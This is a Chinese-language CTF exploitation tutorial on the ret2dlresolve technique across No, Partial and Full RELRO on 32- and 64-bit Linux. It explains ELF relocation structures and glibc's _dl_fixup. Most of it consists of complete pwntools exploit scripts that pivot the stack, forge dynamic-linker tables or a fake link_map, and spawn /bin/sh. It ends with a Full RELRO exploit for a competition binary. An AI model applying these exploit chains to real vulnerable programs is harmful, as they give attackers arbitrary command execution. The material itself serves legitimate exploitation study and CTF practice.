Ret2dlresolve(从No RELRO到FULL RELRO)

RELRO保护策略

上一篇ret2dlresolve博客中也提到了,这里再写在开头

NO RELRO

保护未开的情况,所有重定位段均可写,包括.dynamic、.got、.got.plt

Partial RELRO

部分开启保护,其为GCC编译的默认配置。.dynamic、.got被标记为只读,并且会强制地将ELF的内部数据段 .got ,.got.plt等放到外部数据段 .data、.bss之前,即防止程序数据段溢出改变内部数据段的值,从而劫持程序控制流。虽然.got标记为只读,但是.got.plt仍然可写,即仍然可以改写GOT表劫持程序控制流

Full RELRO

继承Partial RELRO的所有保护,并且.got.plt也被标为只读。此时延迟绑定技术被禁止,所有的外部函数地址将在程序装载时解析、装入,并标记为只读,不可更改。此时不需要link_map以及dl_runtime_resolve函数,则GOT表中这两项数据均置为0,此时ret2dlresolve技术最关键的两项数据丢失,并且GOT表不可写。

No leak —— Ret2dlresolve攻击

NO RELRO&32位

还是拿XD2015pwn的例子,但是我这里把write函数注释掉了,只留了read

1
gcc -m32 -fno-stack-protector -z norelro bof.c -o bof_32_norelro

6

当程序为NO RELRO时,利用起来会比较简单,因为此时的**.dynamic**节是可修改的,我们只需要用read函数把其中的STRTAB的地址修改为我们可以控制的地址,再在这个地址上伪造一个fake_strtab,把原先某个字符串替换为system字符串,其他内容与原来的一样,然后设置好参数,最后在像上面的第一步一样,先push reloc_arg,再jmp 到plt[0]处进行手动调用dl_runtime_resolve函数解析即可。

先用ROPgadget 找到我们需要用到的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ROPgadget --binary bof_32 --only  'pop|ret'
Gadgets information
============================================================
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

ROPgadget --binary bof_32 |grep 'leave ; ret'
0x080483b5 : add esp, 0x10 ; leave ; ret
0x08048479 : add esp, 0x10 ; nop ; leave ; ret
0x080483b8 : leave ; ret
0x080483b6 : les edx, ptr [eax] ; leave ; ret
0x0804847a : les edx, ptr [eax] ; nop ; leave ; ret
0x08048414 : mov byte ptr [0x8049784], 1 ; leave ; ret
0x0804847c : nop ; leave ; ret
0x08048419 : or byte ptr [ecx], al ; leave ; ret

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding:utf8  
from pwn import *
context.log_level = 'debug'
p = process('./bof_32')
elf = ELF('./bof_32')

offset = 112
read_plt = elf.plt['read']

ppp_ret = 0x08048509
pop_ebp_ret = 0x0804850b
leave_ret = 0x080483b8

stack_size = 0x300
bss_addr = 0x08049780 # readelf -S bof | grep ".bss"
base_addr = bss_addr + stack_size

# 常规栈溢出,先将栈迁移到bss段

fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00read\x00system\x00__libc_start_main\x00'
strtab = 0x0804969c+0x4# .dynamic节中strtab的地址

payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0) + p32(base_addr) + p32(0x500)
payload += p32(pop_ebp_ret)
payload += p32(base_addr)
payload += p32(leave_ret)

p.sendline(payload)
# 由于多函数调用在一个payload里会参数混乱,此时system的参数为p32(strtab),所以采取shell注入的方式

payload2 = 'A' * 4
payload2 += p32(read_plt)
payload2 += p32(0x8048316) #上面我用system 替换了 setbuf 这里填解析setbuf的dl_runtime即可 objdump -d -j .plt bof_32
payload2 += p32(0) + p32(strtab) + p32(7)
payload2 += fake_dynstr
p.sendline(payload2)

# 这里实际上是 system(p32(base_addr+24)+';sh') 而由于system(p32(base_addr+24))会调用失败,显示找不到这个命令,然后就会被';'结束掉这个命令,开启下一个命令,也就是system('sh')

fake_str_addr = p32(base_addr + 24 )+';sh' # 覆盖strtab地址,并shell注入
payload3 = fake_str_addr
p.send(payload3)
p.interactive()

2

NO RELRO&64位

1
gcc -fno-stack-protector  -z norelro -no-pie bof.c -o bof_64

1

64位下利用反而更简便,从栈传参变成了寄存器传参,不需要栈迁移,而且没有参数混乱的问题 ,一条rop链就能解决

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf8  
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

p = process('./bof_64')
elf = ELF('./bof_64')
read_plt = elf.plt['read']

offest = 120
target_addr = 0x600840 + 8 #.dynamic中strtab的地址,我们要在此处修改指向fake_dynstr

plt0_load = 0x400446 # setbuf
pop_rdi = 0x400633 #pop rdi;ret;
pop_rsi = 0x400631 #pop rsi ; pop r15 ; ret

fake_dynstr = '\x00libc.so.6\x00stdin\x00read\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00read\x00setbuf\x00'
bss = 0x6009e0

payload = 'a' * offest + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(target_addr) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(bss) + p64(plt0_load)


p.sendline(payload)
sleep(1)

payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr #发送system的参数以及伪造的.dynstr
r.sendline(payload2)
sleep(1)

r.sendline(p64(bss + 0x10)) #修改dynsym里的strtab的地址为我们伪造的dynstr的地址
r.interactive()

2

Partial RELRO&32位

3

Partial RELRO 条件下的**.dynamic**节是不可修改的,但是我们可以在程序中找一段空间start出来,放我们直接构造的fake_dynsym,fake_dynstr和fake_rel_plt等,然后利用栈迁移到手法将栈转移到start,先找到需要利用的gadget 然后做栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
offset = 112
read_plt = elf.plt['read']


ppp_ret = 0x08048529 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804852b
leave_ret = 0x080483d8 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a020 # readelf -S bof | grep ".bss"
base_addr = bss_addr + stack_size

r = process('./parelro_x86')

# 把payload2写入bss段,并把栈迁移到bss段
payload = 'A' * offset + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_addr) + p32(500)
payload += p32(pop_ebp_ret) + p32(base_addr) + p32(leave_ret)
#只用leave ret做栈迁移也是可以的
#payload = 'A' * (offset-4) + p32(base_addr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(base_addr) + p32(100)

r.sendline(payload)


接下来想一下我们伪造需要用到哪些值,这里我是把setbuf字符串的位置替换成了system

首先需要用到的三个表的地址和plt[0]地址进行dl解析,可以直接用命令找到,也可以借助pwntools

1
2
3
4
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

先构造dynsym内容的地址,将base_addr + 28作为system函数的偏移地址,也就是说,我知道了dynstr的system地址了,但这随便取的base_stage + 28 有可能相对于dynsym不是个标准地址 什么叫标准地址,他的每个结构体都是16个字节,也就是说他的地址都是对齐的,我可能相对于他不是刚好一个对齐的地址,所以我这里需要对齐一下,解释下:
假设内存布局是这样的

1
2
3
4
5
6
7
8
9
0x8048a00 11111111 22222222 33333333 44444444 dynsym起始位置
0x8048a10 11111111 22222222 33333333 44444444
0x8048a20 11111111 22222222 33333333 44444444
0x8048a30 11111111 22222222 33333333 44444444
0x8048a40 11111111 22222222 33333333 44444444
0x8048a50 11111111 22222222 33333333 44444444
0x8048a60 11111111 22222222 33333333 44444444
0x8048a70 11111111 22222222 33333333 44444444
0x8048a80 11111111 22222222 33333333 44444444

我base_stage + 28可能在这4个部分的任意位置,但这样是不行的,他的结构体只能从开头开始,所以我需要取他的这段开头的地址

1
2
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align

那么第一部分为:

1
2
3
fake_sym_addr = base_stage + 28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align

接下来构造.rel.plt表

setbuf_got表我们可以得到:elf.got[‘setbuf’],r_info如何计算:先通过( fake_sym_addr - dynsym(基地址) )/0x10,求出偏移然后再在这个地址后面添加上07标识,表示这个函数是导入函数

那么第二部分为:

1
2
3
4
index_dynsym = (fake_sym_addr - dynsym)/0x10
r_info = index_dynsym << 8 | 0x7
setbuf_got = elf.got['setbuf']
fake_sys_rel = flat([setbuf_got, r_info])

接下来构造dynsym表里的结构体,我们需要伪造的只有第一项跟第四项,其余为0,第一项为st_name,也就是符号的具体偏移位置,第四项标识为导入函数,在IDA里也能看到,这里将fake_sym_addr + 0x10作为’system\x00’的地址,然后求出相对偏移,然后将他构造成一个结构体

第三部分为:

1
2
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])

第四部分:

1
index_offset = base_addr + 28 - rel_plt

这个偏移就是拿来寻找.rel.plt表的

把所有条件列出来看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sh = '/bin/sh'

index_offset = base_addr + 20 - rel_plt

setbuf_got = elf.got['setbuf']
fake_sym_addr = base_addr + 28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align

index_dynsym = (fake_sym_addr - dynsym)/16
r_info = (index_dynsym << 8 | 0x7)
fake_sys_rel = flat(p32(setbuf_got),p32(r_info))

st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = flat(p32(st_name),p32(0),p32(0),p32(0x12))

开始构造ROP:

先plt0,调用那部分地址,才能利用_dl_runtime_resolve

然后传入偏移,32位是用栈传参的,也就是这样

1
2
3
4
5
6
7
8
payload2 = 'aaaa'+p32(plt_0)+p32(index_offset)
#接着是system函数的返回地址和1参 返回地址可随意设置因为用不到
payload2 +=p32(0xdeadbeef) + p32(base_addr + 136)
#接着到fake_setbuf_addr 就是bss_addr + 20的位置
payload2 += fake_sys_rel
#接着填入dynsym表里的结构体 跟着system字符串 和填充字符
payload2 +='A' * align+ fake_sym + 'system\x00'
payload2 += 'A' * (136-len(payload2)) + sh + '\x00'
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding:utf8  
from pwn import *
elf = ELF('./parelro_x86')
context(os='linux',arch='i386',log_level='debug')


offset = 112
read_plt = elf.plt['read']


ppp_ret = 0x08048529 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804852b
leave_ret = 0x080483d8 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a020 # readelf -S bof | grep ".bss"
base_addr = bss_addr + stack_size

r = process('./parelro_x86')

# 把payload2写入bss段,并把栈迁移到bss段
payload = 'A' * offset + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_addr) + p32(500)
payload += p32(pop_ebp_ret) + p32(base_addr) + p32(leave_ret)
#只用leave ret做栈迁移也是可以的
#payload = 'A' * (offset-4) + p32(base_addr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(base_addr) + p32(100)

r.sendline(payload)



plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr



sh = '/bin/sh'

index_offset = base_addr + 20 - rel_plt

setbuf_got = elf.got['setbuf']
fake_sym_addr = base_addr + 28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align

index_dynsym = (fake_sym_addr - dynsym)/16
r_info = (index_dynsym << 8 | 0x7)
fake_sys_rel = flat(p32(setbuf_got),p32(r_info))

st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = flat(p32(st_name),p32(0),p32(0),p32(0x12))


payload2 = 'aaaa'+p32(plt_0)+p32(index_offset)
#接着是system函数的返回地址和1参 返回地址可随意设置因为用不到
payload2 +=p32(0xdeadbeef) + p32(base_addr + 136)
#接着到fake_setbuf_addr 就是bss_addr + 20的位置
payload2 += fake_sys_rel
#接着填入dynsym表里的结构体 跟着system字符串 和填充字符
payload2 +='A' * align+ fake_sym + 'system\x00'
payload2 += 'A' * (136-len(payload2)) + sh + '\x00'


r.sendline(payload2)
r.interactive()


5

Partial RELRO&64位

64位在这种情况下,如果像32位一样依次伪造reloc,symtab,strtab,会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处,接下来我们结合 _dl_fixup 完整源码进行分析,源码位于 glibc-2.23/elf/dl-runtime.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
// 获取link_map中存放DT_SYMTAB的地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取link_map中存放DT_STRTAB的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据重定位结构体的r_info得到symtab表中对应的结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
{
const struct r_found_version *version = NULL;
// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

RTLD_ENABLE_FOREIGN_CALL;
// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

RTLD_FINALIZE_FOREIGN_CALL;

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}


所以接下来我们的任务就是控制 link_map 中的l_addrsym中的st_value

1
2
3
伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置
也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system

下面是64位下的sym结构体:

1
2
3
4
5
6
7
8
9
10
typedef struct  
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

  • Elf64_Word 32 位
  • Elf64_Section 16 位
  • Elf64_Addr 64 位
  • Elf64_Xword 64 位

所以sym结构体的大小为24字节,st_value就位于sym[num]首地址+0x8的位置( 4 + 1 + 1 + 2)如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0

如果我们伪造一个link_map表,很容易就可以控制 l_addr ,通过阅读源码,我们知道_dl_fixup主要用了 l_info 的内容 ,也就是其中JMPREL,STRTAB,SYMTAB的地址。

所以我们需要伪造这个数组里的几个指针

  • DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
  • DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
  • DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

64位下重定位表项与32位有所不同

1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

这里 Elf64_Addr、Elf64_Xword、Elf64_Sxword 都为 64 位,因此 Elf64_Rela 结构体的大小为 24 字节。

7

在这里可以看到,read 函数在符号表中的偏移为 1(0x100000007h>>32)

除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,read 函数 push 的是 0,对应上图第一个位置

接下来我们伪造link_map,know_func_ptr为已解析函数的got表地址,offset为system函数与这个函数在libc上的偏移,由于我们只需要在link_map特定的几个位置伪造指针,而中间的内容不会用到,所以我们就把伪造的rel.plt,symtab放在中间

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf8  
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
r = process('./parelro_x64')
elf = ELF('./parelro_x64')
libc = elf.libc
read_plt = elf.plt['read']
read_got = elf.got['read']


#bss段
bss = 0x601038
bss_stage = bss+0x100
l_addr = libc.sym['system'] - libc.sym['read']


pop_rdi = 0x00000000004005c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x00000000004005c1
#用于解析符号dl_runtime_resolve
plt_load = 0x4003f6

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
# &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1))#l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为read函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)# 伪造link_map


payload = flat( 'a' * (0x70+8) ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , # 把link_map写到bss段上
pop_rsi , 0 ,0 , # 使栈十六字节对齐,不然调用不了system
pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 # 把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
)
r.sendline(payload)

r.send(fake_link_map)

r.interactive()


8

32位roputils库使用

其实还有集成工具利用,叫roputils,这个也是一个库,专门用于对付ret2dllruntime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf-8

import roputils
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#只需确定文件名+溢出偏移。roputils.py文件要放到同一目录下
fpath = './parelro_x86'
offset = 112

rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p=process(fpath)
#print p.recv()
p.send(p32(len(buf)) + buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()

可以发现使用roputils库使得我们的python代码非常简介,但是64位无leak的情况下,笔者暂未找到相应roputils模板,只找到需要泄露link_map地址的一个模板,不过这显然很鸡肋,既然都能泄露地址了还要ret2dlresolve干嘛呢

FULL RELRO

当开启FULL_RELERO时,整个GOT表将标记为read-only,并且所有的外部引用变量/函数都将在程序装载时由动态链接器解析完成,即dl_runtime_resolve函数将无用武之地 ,那么此时.got.plt表中的第二项 表项GOT[1]装载的link_map地址 以及第二项 表项GOT[2]装载的dl_runtime_resolve函数地址将是0。

则GOT表中这两项数据均置为0,此时ret2dlresolve技术最关键的两项数据丢失,并且GOT表不可写。

2015年发表在USENIX上的《How the ELF Ruined Christmas》,向我们介绍了一种即使开了FULL_RELERO也可以进行ret2dlresolve攻击的技术。这里不再详细分析,感兴趣的师傅可以去看看

今年的巅峰极客的pwn1正好就是full relro的情况

9

但是这里能找到一个gadget

1
0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret; 

可以控制rbp指向got表,从而将read地址写到bss段上

大致思路就是:

  1. 栈溢出覆盖rbp为read_got + 8,将read写到bss段上
  2. 调用read_plt,覆盖bss段上read地址最后一位,使其变为syscall
  3. 利用csu的gadget,调用execve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process('./ezzzz')

elf = ELF('./ezzzz')
libc = elf.libc

bss = elf.bss() + 0x400 # 0x601410

read_plt = elf.plt['read']
read_got = elf.got['read']

csu_down = 0x4007D6
csu_up = 0x4007C0

pop_rdi_ret = 0x00000000004007e3
pop_rsi_r15_ret = 0x00000000004007e1
pop_rbp_ret = 0x0000000000400570
leave_ret = 0x0000000000400712

# 0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret;
magic_gadget = 0x40066B

myread = 0x601120
payload = flat(
{
0x18: [
pop_rdi_ret, 0, pop_rsi_r15_ret, bss, 0, read_plt,
pop_rbp_ret, read_got + 8,
magic_gadget, bss + 0x18,
pop_rdi_ret, 0, pop_rsi_r15_ret, myread - 0x3b + 1, 0, read_plt,
leave_ret
]
}, filler='\x00', length=0x100
)

# dbg()

p.send(payload)

payload = flat(
{
0: bss + 8,
0x10: b'/bin/sh\x00',
0x20: [
csu_down, 0, 0, 1, myread, 0, 0, bss + 0x10, csu_up
]
}, filler='\x00', length=0x100
)
p.send(payload)

payload = b'a' * 0x3a + b'\x90'
p.send(payload)

p.interactive()

10